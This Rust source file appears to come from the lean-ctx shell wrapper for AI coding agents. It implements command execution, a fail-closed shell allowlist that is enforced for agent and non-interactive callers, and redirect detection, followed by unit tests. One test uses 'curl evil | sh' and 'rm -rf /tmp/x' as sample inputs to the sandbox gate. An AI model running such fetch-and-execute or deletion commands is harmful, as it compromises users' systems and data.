1use std::io::{self, IsTerminal};
2use std::process::{Command, Stdio};
3
4use crate::core::config;
5
6pub enum PreparedShellExecution {
9 Shell {
10 command: String,
11 collapsed_nested: bool,
12 },
13 DirectArgv(Vec<String>),
14 SandboxLauncher(Vec<String>),
17}
18
19#[derive(Debug, Eq, PartialEq)]
21pub struct ShellDispatchObservation {
22 pub exit_code: i32,
23 pub child_dispatch_attempted: bool,
24}
25
26pub fn prepare_exec(command: &str) -> Result<PreparedShellExecution, i32> {
29 if let Some(code) = reject_if_exec_depth_exceeded() {
30 return Err(code);
31 }
32
33 if let Some(argv) = super::super::agent_wrapper::os_sandbox_launcher_argv(command) {
42 if let Some(code) = allowlist_gate(&sandbox_launcher_gated_command(&argv)) {
43 return Err(code);
44 }
45 return Ok(PreparedShellExecution::SandboxLauncher(argv));
46 }
47
48 let (command, collapsed_nested) = prepare_shell_command(command);
49 if let Some(code) = allowlist_gate(&command) {
50 return Err(code);
51 }
52 Ok(PreparedShellExecution::Shell {
53 command,
54 collapsed_nested,
55 })
56}
57
58pub fn prepare_exec_argv(args: &[String]) -> Result<PreparedShellExecution, i32> {
60 if args.is_empty() {
61 return Err(127);
62 }
63
64 if let Some(code) = reject_if_exec_depth_exceeded() {
65 return Err(code);
66 }
67
68 let joined = super::super::platform::join_command(args);
73
74 if let Some(u) = super::super::agent_wrapper::unwrap_agent_wrapper(&joined) {
79 let (command, collapsed_nested) = prepare_shell_command(&u.rebuild());
80 if let Some(code) = allowlist_gate(&command) {
81 return Err(code);
82 }
83 return Ok(PreparedShellExecution::Shell {
84 command,
85 collapsed_nested,
86 });
87 }
88
89 if let Some(code) = allowlist_gate(&joined) {
93 return Err(code);
94 }
95
96 Ok(PreparedShellExecution::DirectArgv(args.to_vec()))
97}
98
99pub fn execute_prepared(prepared: PreparedShellExecution) -> ShellDispatchObservation {
104 let exit_code = match prepared {
105 PreparedShellExecution::Shell {
106 command,
107 collapsed_nested,
108 } => execute_shell_post_gate(&command, collapsed_nested),
109 PreparedShellExecution::DirectArgv(args) => execute_argv_post_gate(&args),
110 PreparedShellExecution::SandboxLauncher(argv) => exec_sandbox_launcher(&argv),
111 };
112
113 ShellDispatchObservation {
114 exit_code,
115 child_dispatch_attempted: true,
116 }
117}
118
119pub fn exec_argv(args: &[String]) -> i32 {
125 prepare_exec_argv(args)
126 .map_or_else(|code| code, |prepared| execute_prepared(prepared).exit_code)
127}
128
129fn execute_argv_post_gate(args: &[String]) -> i32 {
130 if super::super::reentry::should_pass_through() {
131 return exec_direct(args);
132 }
133
134 let cfg = config::Config::load();
135 let joined = super::super::platform::join_command(args);
136 let policy = super::super::output_policy::classify(&joined, &cfg.excluded_commands);
137
138 if policy.is_protected() {
139 let code = exec_direct(args);
140 crate::core::tool_lifecycle::record_shell_command(0, 0);
141 return code;
142 }
143
144 let code = exec_direct(args);
145 crate::core::tool_lifecycle::record_shell_command(0, 0);
146 code
147}
148
149fn reject_if_exec_depth_exceeded() -> Option<i32> {
160 if !super::super::reentry::exec_depth_exceeded() {
161 return None;
162 }
163 eprintln!(
164 "lean-ctx: refusing to nest further (depth >= {}) — a shell hook is re-firing inside a \
165 command lean-ctx already spawned. Running the command raw instead of risking a \
166 runaway process loop. If this persists, check for a duplicate/competing shell \
167 integration that also wraps commands through lean-ctx.",
168 super::super::reentry::MAX_EXEC_DEPTH
169 );
170 Some(126)
171}
172
173fn exec_direct(args: &[String]) -> i32 {
174 let mut cmd = Command::new(&args[0]);
175 cmd.args(&args[1..])
176 .stdin(Stdio::inherit())
177 .stdout(Stdio::inherit())
178 .stderr(Stdio::inherit());
179 super::super::reentry::mark_child(&mut cmd);
180 super::super::platform::apply_utf8_locale(&mut cmd);
181 let status = cmd.status();
182
183 match status {
184 Ok(s) => crate::shell::exit_status::exit_code(s),
185 Err(e) => {
186 tracing::error!("lean-ctx: failed to execute: {e}");
187 127
188 }
189 }
190}
191
192fn allowlist_must_enforce() -> bool {
211 let hook_child = crate::core::runtime_flags::hook_child_enabled();
212 let warn_only = crate::core::config::shell_policy::cli_warn_only_requested();
213 let interactive = io::stderr().is_terminal() && crate::core::host_env::stdin_is_terminal();
214 allowlist_must_enforce_inner(hook_child, agent_host_marker(), warn_only, interactive)
215}
216
217fn agent_host_marker() -> bool {
219 [
220 "CLAUDECODE",
221 "CLAUDE_CODE_ENTRYPOINT",
222 "CODEX_THREAD_ID",
223 "CODEX_SANDBOX",
224 "CURSOR_TASK_ID",
225 "CURSOR_AGENT",
226 "GEMINI_CLI",
227 ]
228 .iter()
229 .any(|key| std::env::var_os(key).is_some_and(|v| !v.is_empty()))
230}
231
232#[allow(clippy::fn_params_excessive_bools)]
235fn allowlist_must_enforce_inner(
236 hook_child: bool,
237 agent_shell: bool,
238 warn_only: bool,
239 interactive: bool,
240) -> bool {
241 if hook_child {
242 return true;
243 }
244 if warn_only {
245 return false;
246 }
247 agent_shell || !interactive
248}
249
250fn stdout_is_regular_file() -> bool {
263 #[cfg(unix)]
264 {
265 use std::os::unix::io::{AsRawFd, FromRawFd};
266 let fd = io::stdout().as_raw_fd();
267 let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_fd(fd) });
270 file.metadata().is_ok_and(|m| m.is_file())
271 }
272 #[cfg(windows)]
273 {
274 use std::os::windows::io::{AsRawHandle, FromRawHandle};
275 let handle = io::stdout().as_raw_handle();
276 let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_handle(handle) });
279 file.metadata().is_ok_and(|m| m.is_file())
280 }
281 #[cfg(not(any(unix, windows)))]
282 {
283 false
284 }
285}
286
287fn command_has_file_redirect(cmd: &str) -> bool {
291 let bytes = cmd.as_bytes();
292 let len = bytes.len();
293 let mut i = 0;
294 let mut in_single_quote = false;
295 let mut in_double_quote = false;
296
297 while i < len {
298 let c = bytes[i];
299 if c == b'\\' && !in_single_quote {
300 i += 2;
301 continue;
302 }
303 if c == b'\'' && !in_double_quote {
304 in_single_quote = !in_single_quote;
305 } else if c == b'"' && !in_single_quote {
306 in_double_quote = !in_double_quote;
307 } else if c == b'>' && !in_single_quote && !in_double_quote {
308 if i > 0 && bytes[i - 1] == b'2' {
309 i += 1;
310 continue;
311 }
312 let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
313 i + 2
314 } else {
315 i + 1
316 };
317 let target: String = cmd[target_start..]
318 .trim_start()
319 .chars()
320 .take_while(|c| !c.is_whitespace())
321 .collect();
322 if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
323 i += 1;
324 continue;
325 }
326 if let Some(fd) = target.strip_prefix('&')
327 && !fd.is_empty()
328 && (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
329 {
330 i += 1;
331 continue;
332 }
333 if !target.is_empty() {
334 return true;
335 }
336 }
337 i += 1;
338 }
339 false
340}
341
342pub fn allowlist_gate(command: &str) -> Option<i32> {
354 if !crate::core::shell_allowlist::gate_registered() {
357 eprintln!(
358 "lean-ctx: no shell-allowlist policy is registered in this build; \
359 refusing to run the command (fail closed)"
360 );
361 return Some(126);
362 }
363 if let Err(msg) = crate::core::shell_allowlist::check_registered(command) {
364 if allowlist_must_enforce() {
365 eprintln!("{msg}");
366 eprintln!(
367 "lean-ctx: command blocked by shell allowlist. \
368 To allow it, run `lean-ctx allow <cmd>` in your own terminal \
369 (or set shell_security = \"warn\" in your config.toml)."
370 );
371 return Some(126);
372 }
373 let reason = crate::core::shell_allowlist::warn_only_reason_registered(msg.message());
379 if io::stderr().is_terminal() {
380 tracing::debug!("[CLI] Command would be blocked in MCP mode: {reason}");
381 } else {
382 tracing::info!("[CLI] Command would be blocked in MCP mode; it ran ({reason})");
383 }
384 }
385 None
386}
387
388pub fn exec(command: &str) -> i32 {
389 prepare_exec(command).map_or_else(|code| code, |prepared| execute_prepared(prepared).exit_code)
390}
391
392fn prepare_shell_command(command: &str) -> (String, bool) {
393 let unwrapped = super::super::agent_wrapper::unwrap_agent_wrapper(command).map(|u| u.rebuild());
399 let mut collapsed_nested = false;
400 let collapsed;
401 let command = unwrapped.as_deref().unwrap_or(command);
402 let command = if let Some(c) = collapse_nested_lean_ctx_exec(command) {
403 collapsed_nested = true;
404 collapsed = c;
405 collapsed.as_str()
406 } else {
407 command
408 };
409
410 (command.to_string(), collapsed_nested)
411}
412
413fn execute_shell_post_gate(command: &str, collapsed_nested: bool) -> i32 {
414 let (shell, shell_flag) = super::super::platform::shell_and_flag();
415 let command = crate::shell::command_text::normalize_command_for_shell(command);
416 let command = command.as_str();
423
424 if super::super::reentry::is_disabled() {
425 return exec_inherit(command, &shell, &shell_flag);
426 }
427 if should_delegate_wrapped_to_shell_default(collapsed_nested) {
428 return exec_shell_default(command, &shell, &shell_flag);
429 }
430
431 let cfg = config::Config::load();
432 let force_compress = crate::core::runtime_flags::compress_enabled();
433 let raw_mode = crate::core::runtime_flags::raw_enabled();
434
435 if raw_mode {
436 return exec_inherit_tracked(command, &shell, &shell_flag);
437 }
438
439 let policy = super::super::output_policy::classify(command, &cfg.excluded_commands);
440
441 if policy == super::super::output_policy::OutputPolicy::Passthrough {
443 return exec_inherit_tracked(command, &shell, &shell_flag);
444 }
445
446 if policy == super::super::output_policy::OutputPolicy::Verbatim && !force_compress {
450 return exec_inherit_tracked(command, &shell, &shell_flag);
451 }
452
453 if !force_compress {
454 if io::stdout().is_terminal() {
455 return exec_inherit_tracked(command, &shell, &shell_flag);
456 }
457 let code = exec_inherit(command, &shell, &shell_flag);
458 crate::core::tool_lifecycle::record_shell_command(0, 0);
459 return code;
460 }
461
462 if stdout_is_regular_file() {
471 return exec_inherit_tracked(command, &shell, &shell_flag);
472 }
473
474 if command_has_file_redirect(command) {
481 return exec_inherit_tracked(command, &shell, &shell_flag);
482 }
483
484 super::super::pipeline::exec_buffered(command, &shell, &shell_flag, &cfg)
485}
486
487fn collapse_nested_lean_ctx_exec(command: &str) -> Option<String> {
488 let mut current = command.trim().to_string();
489 let mut changed = false;
490
491 while let Some(next) = strip_one_lean_ctx_exec(¤t) {
492 if next == current {
493 break;
494 }
495 current = next;
496 changed = true;
497 }
498
499 changed.then_some(current)
500}
501
502fn should_delegate_wrapped_to_shell_default(collapsed_nested: bool) -> bool {
503 super::super::reentry::is_wrapped() && !collapsed_nested
507}
508
509fn strip_one_lean_ctx_exec(command: &str) -> Option<String> {
510 let words = split_simple_shell_words(command)?;
511 if words.len() < 3 || !is_lean_ctx_bin(&words[0].value) {
512 return None;
513 }
514 if words[1].value != "-c" && words[1].value != "exec" {
515 return None;
516 }
517 if words[2..].iter().any(|w| {
518 matches!(
519 w.value.as_str(),
520 "|" | "||" | "&" | "&&" | ";" | "<" | ">" | ">>"
521 )
522 }) {
523 return None;
524 }
525 if words.len() == 3 {
526 Some(words[2].value.trim().to_string())
527 } else {
528 Some(command[words[2].start..].trim().to_string())
529 }
530}
531
532fn is_lean_ctx_bin(word: &str) -> bool {
533 std::path::Path::new(word)
534 .file_name()
535 .and_then(|name| name.to_str())
536 .is_some_and(|name| name == "lean-ctx" || name == "lean-ctx.exe")
537}
538
539struct SimpleShellWord {
540 value: String,
541 start: usize,
542}
543
544fn split_simple_shell_words(command: &str) -> Option<Vec<SimpleShellWord>> {
545 let mut words = Vec::new();
546 let mut current = String::new();
547 let mut current_start: Option<usize> = None;
548 let mut chars = command.char_indices().peekable();
549 let mut quote: Option<char> = None;
550
551 while let Some((idx, ch)) = chars.next() {
552 match quote {
553 Some('\'') if ch == '\'' => quote = None,
554 Some('"') if ch == '"' => quote = None,
555 None if ch == '\'' || ch == '"' => {
556 current_start.get_or_insert(idx);
557 quote = Some(ch);
558 }
559 Some('"') | None if ch == '\\' => {
560 current_start.get_or_insert(idx);
561 if let Some((_, next)) = chars.next() {
562 current.push(next);
563 }
564 }
565 None if ch.is_whitespace() => {
566 if let Some(start) = current_start.take() {
567 words.push(SimpleShellWord {
568 value: std::mem::take(&mut current),
569 start,
570 });
571 }
572 }
573 Some(_) | None => {
574 current_start.get_or_insert(idx);
575 current.push(ch);
576 }
577 }
578 }
579
580 if quote.is_some() {
581 return None;
582 }
583 if let Some(start) = current_start {
584 words.push(SimpleShellWord {
585 value: current,
586 start,
587 });
588 }
589 (!words.is_empty()).then_some(words)
590}
591
592#[doc(hidden)]
597pub fn sandbox_launcher_gated_command(argv: &[String]) -> String {
598 let script = argv.last().map_or("", String::as_str);
599 super::super::agent_wrapper::unwrap_agent_wrapper(script)
600 .map_or_else(|| script.to_string(), |u| u.rebuild())
601}
602
603fn exec_sandbox_launcher(argv: &[String]) -> i32 {
611 match sandbox_launcher_command(argv).status() {
612 Ok(s) => crate::shell::exit_status::exit_code(s),
613 Err(e) => {
614 tracing::error!("lean-ctx: failed to execute sandbox launcher: {e}");
615 127
616 }
617 }
618}
619
620fn sandbox_launcher_command(argv: &[String]) -> Command {
621 let mut cmd = Command::new(&argv[0]);
622 cmd.args(&argv[1..])
623 .stdin(Stdio::inherit())
624 .stdout(Stdio::inherit())
625 .stderr(Stdio::inherit());
626 super::super::reentry::clear_shell_default_markers(&mut cmd);
627 super::super::reentry::stamp_exec_depth(&mut cmd);
628 super::super::platform::apply_utf8_locale(&mut cmd);
629 cmd
630}
631
632fn exec_inherit(command: &str, shell: &str, shell_flag: &str) -> i32 {
633 let spawn_command = super::super::platform::zsh_safe_command(command, shell);
636 let mut cmd = Command::new(shell);
637 cmd.arg(shell_flag)
638 .arg(&spawn_command)
639 .stdin(Stdio::inherit())
640 .stdout(Stdio::inherit())
641 .stderr(Stdio::inherit());
642 super::super::reentry::mark_child(&mut cmd);
643 super::super::platform::apply_utf8_locale(&mut cmd);
644 super::super::platform::apply_profile_free_env(&mut cmd);
645 let status = cmd.status();
646
647 match status {
648 Ok(s) => crate::shell::exit_status::exit_code(s),
649 Err(e) => {
650 tracing::error!("lean-ctx: failed to execute: {e}");
651 127
652 }
653 }
654}
655
656fn exec_shell_default(command: &str, shell: &str, shell_flag: &str) -> i32 {
657 let spawn_command = super::super::platform::zsh_safe_command(command, shell);
658 let mut cmd = Command::new(shell);
659 cmd.arg(shell_flag)
660 .arg(&spawn_command)
661 .stdin(Stdio::inherit())
662 .stdout(Stdio::inherit())
663 .stderr(Stdio::inherit());
664 super::super::reentry::clear_shell_default_markers(&mut cmd);
665 super::super::reentry::stamp_exec_depth(&mut cmd);
666 super::super::platform::apply_utf8_locale(&mut cmd);
667 super::super::platform::apply_profile_free_env(&mut cmd);
668 let status = cmd.status();
669
670 match status {
671 Ok(s) => crate::shell::exit_status::exit_code(s),
672 Err(e) => {
673 eprintln!("lean-ctx: failed to execute '{command}': {e}");
674 127
675 }
676 }
677}
678
679fn exec_inherit_tracked(command: &str, shell: &str, shell_flag: &str) -> i32 {
680 let code = exec_inherit(command, shell, shell_flag);
681 crate::core::tool_lifecycle::record_shell_command(0, 0);
682 code
683}
684
685pub const STDERR_LABEL: &str = "--- stderr ---";
689
690pub fn combine_streams(stdout: &str, stderr: &str, exit_code: i32) -> String {
694 match (stdout.is_empty(), stderr.is_empty()) {
695 (_, true) => stdout.to_string(),
696 (true, false) => stderr.to_string(),
697 (false, false) if exit_code != 0 => format!("{stdout}\n{STDERR_LABEL}\n{stderr}"),
698 (false, false) => format!("{stdout}\n{stderr}"),
699 }
700}
701
702#[cfg(test)]
705mod nested_lean_ctx_exec_tests;
706
707#[cfg(test)]
708mod exec_tests {
709 #[test]
710 fn combine_streams_labels_stderr_on_failure() {
711 let out = super::combine_streams("build ok", "linker: undefined symbol", 1);
712 assert_eq!(
713 out,
714 format!(
715 "build ok\n{}\nlinker: undefined symbol",
716 super::STDERR_LABEL
717 )
718 );
719 }
720
721 #[test]
722 fn combine_streams_plain_join_on_success() {
723 let out = super::combine_streams("step 1", "warning: noop", 0);
724 assert_eq!(out, "step 1\nwarning: noop");
725 assert!(!out.contains(super::STDERR_LABEL));
726 }
727
728 #[test]
729 fn combine_streams_single_stream_is_unchanged() {
730 assert_eq!(super::combine_streams("only stdout", "", 1), "only stdout");
731 assert_eq!(super::combine_streams("", "only stderr", 1), "only stderr");
732 }
733
734 #[test]
735 fn exec_direct_runs_true() {
736 let code = super::exec_direct(&["true".to_string()]);
737 assert_eq!(code, 0);
738 }
739
740 #[test]
741 fn exec_direct_runs_false() {
742 let code = super::exec_direct(&["false".to_string()]);
743 assert_ne!(code, 0);
744 }
745
746 #[test]
747 fn exec_direct_preserves_args_with_special_chars() {
748 let code = super::exec_direct(&[
749 "echo".to_string(),
750 "hello world".to_string(),
751 "it's here".to_string(),
752 "a \"quoted\" thing".to_string(),
753 ]);
754 assert_eq!(code, 0);
755 }
756
757 #[test]
758 fn exec_direct_nonexistent_returns_127() {
759 let code = super::exec_direct(&["__nonexistent_binary_12345__".to_string()]);
760 assert_eq!(code, 127);
761 }
762
763 #[test]
764 fn exec_argv_empty_returns_127() {
765 let code = super::exec_argv(&[]);
766 assert_eq!(code, 127);
767 }
768
769 #[test]
770 fn prepare_exec_denies_before_dispatch() {
771 let _lock = crate::core::data_dir::test_env_lock();
772 crate::core::shell_allowlist::install_test_gate();
773 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
774 crate::test_env::remove_var("LEAN_CTX_DISABLED");
775 crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
776 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
777 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
778
779 let prepared = super::prepare_exec("xxd");
780
781 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
782 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
783
784 assert!(matches!(prepared, Err(126)));
785 }
786
787 #[test]
788 fn prepare_exec_argv_empty_returns_127() {
789 assert!(matches!(super::prepare_exec_argv(&[]), Err(127)));
790 }
791
792 #[test]
793 fn execute_prepared_spawn_failure_is_attempted() {
794 let _lock = crate::core::data_dir::test_env_lock();
795 crate::core::shell_allowlist::install_test_gate();
796 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
797 crate::test_env::remove_var("LEAN_CTX_DISABLED");
798 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
799 crate::test_env::set_var(
800 "LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE",
801 "__lean_ctx_phase5_missing_binary__",
802 );
803
804 let prepared =
805 super::prepare_exec_argv(&["__lean_ctx_phase5_missing_binary__".to_string()])
806 .expect("test binary name is allowlisted");
807 let observation = super::execute_prepared(prepared);
808
809 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
810 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
811
812 assert_eq!(observation.exit_code, 127);
813 assert!(observation.child_dispatch_attempted);
814 }
815
816 #[test]
817 fn execute_prepared_reports_child_exit() {
818 let _lock = crate::core::data_dir::test_env_lock();
819 crate::core::shell_allowlist::install_test_gate();
820 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
821 crate::test_env::remove_var("LEAN_CTX_DISABLED");
822 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
823 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
824
825 let prepared = super::prepare_exec_argv(&["true".to_string()]).unwrap();
826 let observation = super::execute_prepared(prepared);
827
828 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
829 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
830
831 assert_eq!(observation.exit_code, 0);
832 assert!(observation.child_dispatch_attempted);
833 }
834
835 #[test]
836 fn prepare_exec_argv_preserves_special_argument_bytes() {
837 let _lock = crate::core::data_dir::test_env_lock();
838 crate::core::shell_allowlist::install_test_gate();
839 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
840 crate::test_env::remove_var("LEAN_CTX_DISABLED");
841 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
842 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "printf");
843 let args = vec![
844 "printf".to_string(),
845 "%s|%s|%s".to_string(),
846 "hello world".to_string(),
847 "it's here".to_string(),
848 "a \"quoted\" thing; $HOME".to_string(),
849 ];
850
851 let prepared = super::prepare_exec_argv(&args).unwrap();
852
853 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
854 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
855
856 match prepared {
857 super::PreparedShellExecution::DirectArgv(actual) => assert_eq!(actual, args),
858 super::PreparedShellExecution::Shell { .. }
859 | super::PreparedShellExecution::SandboxLauncher(_) => {
860 panic!("direct argv must not be reparsed as a shell command")
861 }
862 }
863 }
864
865 #[test]
866 fn compatibility_wrappers_match_for_allowlisted_command() {
867 let _lock = crate::core::data_dir::test_env_lock();
868 crate::core::shell_allowlist::install_test_gate();
869 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
870 crate::test_env::remove_var("LEAN_CTX_DISABLED");
871 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
872 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
873 crate::test_env::set_var("LEAN_CTX_NO_HOOK", "1");
877
878 let shell_code = super::exec("true");
879 let argv_code = super::exec_argv(&["true".to_string()]);
880
881 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
882 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
883 crate::test_env::remove_var("LEAN_CTX_NO_HOOK");
884
885 assert_eq!(shell_code, argv_code);
886 }
887
888 #[test]
889 fn exec_argv_runs_simple_command() {
890 let _lock = crate::core::data_dir::test_env_lock();
891 crate::core::shell_allowlist::install_test_gate();
892 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
893 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
894 let code = super::exec_argv(&["true".to_string()]);
895 assert_eq!(code, 0);
896 }
897
898 #[test]
899 fn exec_argv_passes_through_when_disabled() {
900 let _lock = crate::core::data_dir::test_env_lock();
901 crate::core::shell_allowlist::install_test_gate();
902 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
903 crate::test_env::set_var("LEAN_CTX_DISABLED", "1");
904 let code = super::exec_argv(&["true".to_string()]);
905 crate::test_env::remove_var("LEAN_CTX_DISABLED");
906 assert_eq!(code, 0);
907 }
908
909 #[test]
913 fn exec_argv_enforces_allowlist_for_disallowed_command() {
914 let _lock = crate::core::data_dir::test_env_lock();
915 crate::core::shell_allowlist::install_test_gate();
916 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
917 crate::test_env::remove_var("LEAN_CTX_DISABLED");
918 crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
919 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
921 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
922
923 let code = super::exec_argv(&["xxd".to_string()]);
926
927 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
928 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
929
930 assert_eq!(
931 code, 126,
932 "non-allowlisted command must be blocked on the -t track path"
933 );
934 }
935
936 #[test]
937 fn exec_argv_allows_allowlisted_command() {
938 let _lock = crate::core::data_dir::test_env_lock();
939 crate::core::shell_allowlist::install_test_gate();
940 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
941 crate::test_env::remove_var("LEAN_CTX_DISABLED");
942 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
943 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
944
945 let code = super::exec_argv(&["true".to_string()]);
946
947 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
948 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
949
950 assert_eq!(code, 0, "allowlisted command must run on the -t track path");
951 }
952 #[test]
954 fn allowlist_enforces_in_hook_child_mode() {
955 assert!(super::allowlist_must_enforce_inner(
957 true, false, false, true
958 ));
959 assert!(super::allowlist_must_enforce_inner(true, false, true, true));
960 }
961
962 #[test]
963 fn allowlist_enforces_for_non_interactive_callers() {
964 assert!(super::allowlist_must_enforce_inner(
966 false, false, false, false
967 ));
968 }
969
970 #[test]
973 fn allowlist_enforces_for_agent_shells_with_a_terminal() {
974 assert!(super::allowlist_must_enforce_inner(
975 false, true, false, true
976 ));
977 }
978
979 #[test]
980 fn allowlist_warns_for_interactive_humans() {
981 assert!(!super::allowlist_must_enforce_inner(
983 false, false, false, true
984 ));
985 }
986
987 #[test]
988 fn allowlist_warn_only_opt_out_downgrades_non_interactive() {
989 assert!(!super::allowlist_must_enforce_inner(
991 false, false, true, false
992 ));
993 assert!(super::allowlist_must_enforce_inner(
994 true, false, true, false
995 ));
996 }
997
998 #[test]
1001 fn redirect_to_file_detected() {
1002 assert!(super::command_has_file_redirect("git show HEAD:f > out.md"));
1003 assert!(super::command_has_file_redirect("git diff >> changes.log"));
1004 assert!(super::command_has_file_redirect(
1005 "git status > /tmp/status.txt"
1006 ));
1007 }
1008
1009 #[test]
1010 fn no_redirect_not_detected() {
1011 assert!(!super::command_has_file_redirect("git status"));
1012 assert!(!super::command_has_file_redirect("cargo test --lib"));
1013 }
1014
1015 #[test]
1016 fn dev_null_not_detected_as_redirect() {
1017 assert!(!super::command_has_file_redirect("cargo test > /dev/null"));
1018 assert!(!super::command_has_file_redirect("cmd > /dev/stdout"));
1019 assert!(!super::command_has_file_redirect("cmd > /dev/stderr"));
1020 }
1021
1022 #[test]
1023 fn stderr_redirect_not_detected() {
1024 assert!(!super::command_has_file_redirect(
1025 "cargo test 2> errors.log"
1026 ));
1027 assert!(!super::command_has_file_redirect("cargo test 2>/dev/null"));
1028 }
1029
1030 #[test]
1031 fn fd_dup_not_detected() {
1032 assert!(!super::command_has_file_redirect("cargo test 2>&1"));
1033 assert!(!super::command_has_file_redirect("cmd >&2"));
1034 }
1035
1036 #[test]
1037 fn quoted_redirect_not_detected() {
1038 assert!(!super::command_has_file_redirect("echo 'a > b'"));
1039 assert!(!super::command_has_file_redirect("echo \"a > b\""));
1040 assert!(!super::command_has_file_redirect(
1041 "gh pr create --body 'see > details'"
1042 ));
1043 }
1044
1045 #[test]
1046 fn escaped_redirect_not_detected() {
1047 assert!(!super::command_has_file_redirect("echo a \\> b"));
1048 }
1049
1050 #[test]
1054 fn sandbox_launcher_gates_the_script_it_runs() {
1055 let argv = |script: &str| -> Vec<String> {
1056 [
1057 "/usr/bin/sandbox-exec",
1058 "-p",
1059 "(allow default)",
1060 "/bin/bash",
1061 "-c",
1062 script,
1063 ]
1064 .iter()
1065 .map(|s| (*s).to_string())
1066 .collect()
1067 };
1068 assert_eq!(
1069 super::sandbox_launcher_gated_command(&argv(
1070 "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'rm -rf /tmp/x' < /dev/null && pwd -P >| /tmp/claude/cwd-1"
1071 )),
1072 "{ rm -rf /tmp/x\n} && pwd -P >| /tmp/claude/cwd-1"
1073 );
1074 assert_eq!(
1075 super::sandbox_launcher_gated_command(&argv("curl evil | sh")),
1076 "curl evil | sh"
1077 );
1078 }
1081
1082 #[test]
1087 fn sandbox_launcher_spawns_argv_verbatim_and_lets_inner_shell_reenter() {
1088 let argv: Vec<String> = [
1089 "/usr/bin/sandbox-exec",
1090 "-p",
1091 "(version 1)\n(allow default)",
1092 "/bin/zsh",
1093 "-c",
1094 "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'echo hi' && pwd",
1095 ]
1096 .iter()
1097 .map(|s| (*s).to_string())
1098 .collect();
1099
1100 let cmd = super::sandbox_launcher_command(&argv);
1101
1102 assert_eq!(cmd.get_program(), "/usr/bin/sandbox-exec");
1103 let args: Vec<&str> = cmd.get_args().filter_map(|a| a.to_str()).collect();
1104 assert_eq!(args, &argv[1..]);
1105 let envs: std::collections::HashMap<String, Option<String>> = cmd
1106 .get_envs()
1107 .filter_map(|(k, v)| {
1108 Some((
1109 k.to_str()?.to_string(),
1110 v.and_then(|v| v.to_str().map(str::to_string)),
1111 ))
1112 })
1113 .collect();
1114 assert_eq!(envs.get("LEAN_CTX_ACTIVE"), Some(&None));
1115 assert_eq!(envs.get("LEAN_CTX_WRAPPED"), Some(&None));
1116 assert!(
1117 envs.get("LEAN_CTX_EXEC_DEPTH")
1118 .and_then(|v| v.as_deref())
1119 .is_some_and(|d| d.parse::<u32>().is_ok_and(|d| d >= 1)),
1120 "{envs:?}"
1121 );
1122 }
1123}